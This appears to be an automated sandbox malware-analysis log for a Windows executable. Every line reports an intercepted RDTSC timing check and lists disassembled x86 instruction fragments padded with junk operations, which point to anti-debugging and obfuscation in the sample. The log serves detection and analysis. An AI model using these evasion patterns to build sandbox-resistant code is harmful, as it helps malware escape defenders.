Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 3B10B8 second address: 3B10BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 3B10BE second address: 3B10D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007F8080B8A77Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 3B10D2 second address: 3B10D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FF0019 second address: 4FF001D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FF001D second address: 4FF003A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FD0E9F second address: 4FD0EB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8080B8A77Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FD0EB1 second address: 4FD0EED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007F8080FFFC5Ch 0x0000000e mov dword ptr [esp], ebp 0x00000011 jmp 00007F8080FFFC60h 0x00000016 mov ebp, esp 0x00000018 pushad 0x00000019 mov bh, cl 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e mov bx, 375Ah 0x00000022 popad 0x00000023 popad 0x00000024 pop ebp 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 mov bl, 22h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 5010F15 second address: 5010F19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 5010F19 second address: 5010F1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB00D4 second address: 4FB00DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB00DA second address: 4FB00E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB00E0 second address: 4FB0126 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushad 0x0000000b mov ecx, 72E16DC3h 0x00000010 call 00007F8080B8A788h 0x00000015 pop ecx 0x00000016 popad 0x00000017 mov dx, 9A46h 0x0000001b popad 0x0000001c push eax 0x0000001d pushad 0x0000001e mov si, di 0x00000021 popad 0x00000022 xchg eax, ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F8080B8A77Eh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB0126 second address: 4FB0156 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, A194h 0x00000007 jmp 00007F8080FFFC5Dh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov ebp, esp 0x00000011 jmp 00007F8080FFFC5Eh 0x00000016 push dword ptr [ebp+04h] 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB0156 second address: 4FB015A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB015A second address: 4FB0160 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FD0CCD second address: 4FD0CD3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FD0811 second address: 4FD0816 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FD0816 second address: 4FD083F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080B8A784h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov ebx, 466BF894h 0x00000010 mov ecx, edx 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FD083F second address: 4FD0843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FD0843 second address: 4FD0853 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080B8A77Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FD0715 second address: 4FD073B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 xchg eax, ebp 0x00000007 jmp 00007F8080FFFC5Ch 0x0000000c push eax 0x0000000d jmp 00007F8080FFFC5Bh 0x00000012 xchg eax, ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FD073B second address: 4FD073F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FD073F second address: 4FD075A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC67h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FD075A second address: 4FD0785 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F8080B8A77Fh 0x00000008 pop ecx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F8080B8A781h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FD0785 second address: 4FD078A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FD078A second address: 4FD07A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8080B8A77Dh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov di, DFAEh 0x00000014 push edx 0x00000015 pop esi 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FD03F2 second address: 4FD041D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8080FFFC5Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FD041D second address: 4FD0469 instructions: 0x00000000 rdtsc 0x00000002 call 00007F8080B8A782h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F8080B8A77Bh 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007F8080B8A782h 0x00000019 jmp 00007F8080B8A782h 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FD0469 second address: 4FD046F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FD046F second address: 4FD0473 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FD0473 second address: 4FD04A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F8080FFFC69h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F8080FFFC5Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FE0219 second address: 4FE0229 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8080B8A77Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FF039C second address: 4FF03A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FF03A2 second address: 4FF03A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FD0651 second address: 4FD0692 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F8080FFFC66h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F8080FFFC67h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FD0692 second address: 4FD06E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 pushfd 0x00000006 jmp 00007F8080B8A77Bh 0x0000000b sub ax, AABEh 0x00000010 jmp 00007F8080B8A789h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pop ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F8080B8A788h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FD06E2 second address: 4FD06F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FD06F1 second address: 4FD06F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FE0F65 second address: 4FE0F7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b movzx ecx, di 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FF013C second address: 4FF0140 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FF0140 second address: 4FF0146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FF0146 second address: 4FF015B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8080B8A781h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FF015B second address: 4FF015F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FF015F second address: 4FF017B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jmp 00007F8080B8A77Ah 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FF017B second address: 4FF017F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FF017F second address: 4FF0185 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 501063A second address: 50106A8 instructions: 0x00000000 rdtsc 0x00000002 movzx esi, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c call 00007F8080FFFC69h 0x00000011 pushad 0x00000012 popad 0x00000013 pop ecx 0x00000014 pushfd 0x00000015 jmp 00007F8080FFFC67h 0x0000001a jmp 00007F8080FFFC63h 0x0000001f popfd 0x00000020 popad 0x00000021 mov ebp, esp 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F8080FFFC65h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 50106A8 second address: 50106E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8080B8A787h 0x00000009 jmp 00007F8080B8A783h 0x0000000e popfd 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 50106E1 second address: 50106F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC63h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 50106F8 second address: 5010743 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, cx 0x00000006 mov esi, 49856D17h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], ecx 0x00000011 jmp 00007F8080B8A77Ah 0x00000016 mov eax, dword ptr [76FA65FCh] 0x0000001b jmp 00007F8080B8A780h 0x00000020 test eax, eax 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F8080B8A787h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 5010743 second address: 5010749 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 5010749 second address: 501074D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 501074D second address: 501077B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F80F2F12E5Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F8080FFFC65h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 501077B second address: 5010781 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 5010781 second address: 5010785 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 5010785 second address: 50107BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080B8A783h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, eax 0x0000000d pushad 0x0000000e mov dh, ch 0x00000010 mov cx, di 0x00000013 popad 0x00000014 xor eax, dword ptr [ebp+08h] 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F8080B8A77Fh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 50108B0 second address: 50108B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 50108B4 second address: 50108BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FC000B second address: 4FC0010 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FC0010 second address: 4FC0016 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FC0016 second address: 4FC001A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FC001A second address: 4FC0060 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a mov si, 8067h 0x0000000e call 00007F8080B8A77Ch 0x00000013 mov ah, 2Eh 0x00000015 pop edx 0x00000016 popad 0x00000017 mov dword ptr [esp], ebp 0x0000001a jmp 00007F8080B8A77Ah 0x0000001f mov ebp, esp 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F8080B8A787h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FC0060 second address: 4FC0084 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF8h 0x0000000c pushad 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FC0084 second address: 4FC0125 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 mov al, 69h 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F8080B8A789h 0x00000011 adc ecx, 41EA21A6h 0x00000017 jmp 00007F8080B8A781h 0x0000001c popfd 0x0000001d popad 0x0000001e popad 0x0000001f mov dword ptr [esp], ecx 0x00000022 jmp 00007F8080B8A77Dh 0x00000027 xchg eax, ebx 0x00000028 jmp 00007F8080B8A77Eh 0x0000002d push eax 0x0000002e pushad 0x0000002f mov ecx, edx 0x00000031 mov di, 4090h 0x00000035 popad 0x00000036 xchg eax, ebx 0x00000037 pushad 0x00000038 mov dl, 91h 0x0000003a push eax 0x0000003b mov eax, edx 0x0000003d pop edi 0x0000003e popad 0x0000003f mov ebx, dword ptr [ebp+10h] 0x00000042 jmp 00007F8080B8A784h 0x00000047 xchg eax, esi 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007F8080B8A787h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FC0125 second address: 4FC012B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FC012B second address: 4FC0145 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080B8A77Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push esi 0x00000010 pop ebx 0x00000011 mov dl, al 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FC0145 second address: 4FC0168 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC68h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FC0168 second address: 4FC016C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FC016C second address: 4FC0170 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FC0170 second address: 4FC0176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FC0176 second address: 4FC0209 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC64h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d call 00007F8080FFFC5Eh 0x00000012 mov eax, 22918321h 0x00000017 pop ecx 0x00000018 call 00007F8080FFFC67h 0x0000001d pop esi 0x0000001e popad 0x0000001f push ebp 0x00000020 pushad 0x00000021 pushad 0x00000022 push esi 0x00000023 pop ebx 0x00000024 mov ah, 2Bh 0x00000026 popad 0x00000027 mov esi, edi 0x00000029 popad 0x0000002a mov dword ptr [esp], edi 0x0000002d pushad 0x0000002e push ebx 0x0000002f pushfd 0x00000030 jmp 00007F8080FFFC68h 0x00000035 sub ecx, 585FAD78h 0x0000003b jmp 00007F8080FFFC5Bh 0x00000040 popfd 0x00000041 pop ecx 0x00000042 mov cx, bx 0x00000045 popad 0x00000046 test esi, esi 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b push esi 0x0000004c pop ebx 0x0000004d mov edi, ecx 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FC0209 second address: 4FC020F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FC020F second address: 4FC0213 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FC0213 second address: 4FC024D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080B8A787h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F80F2AE8B5Bh 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F8080B8A785h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FC024D second address: 4FC025D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8080FFFC5Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FC025D second address: 4FC0261 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FC0261 second address: 4FC0276 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FC0276 second address: 4FC027A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FC027A second address: 4FC0292 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC64h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FC0292 second address: 4FC02A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8080B8A77Eh 0x00000009 rdtsc
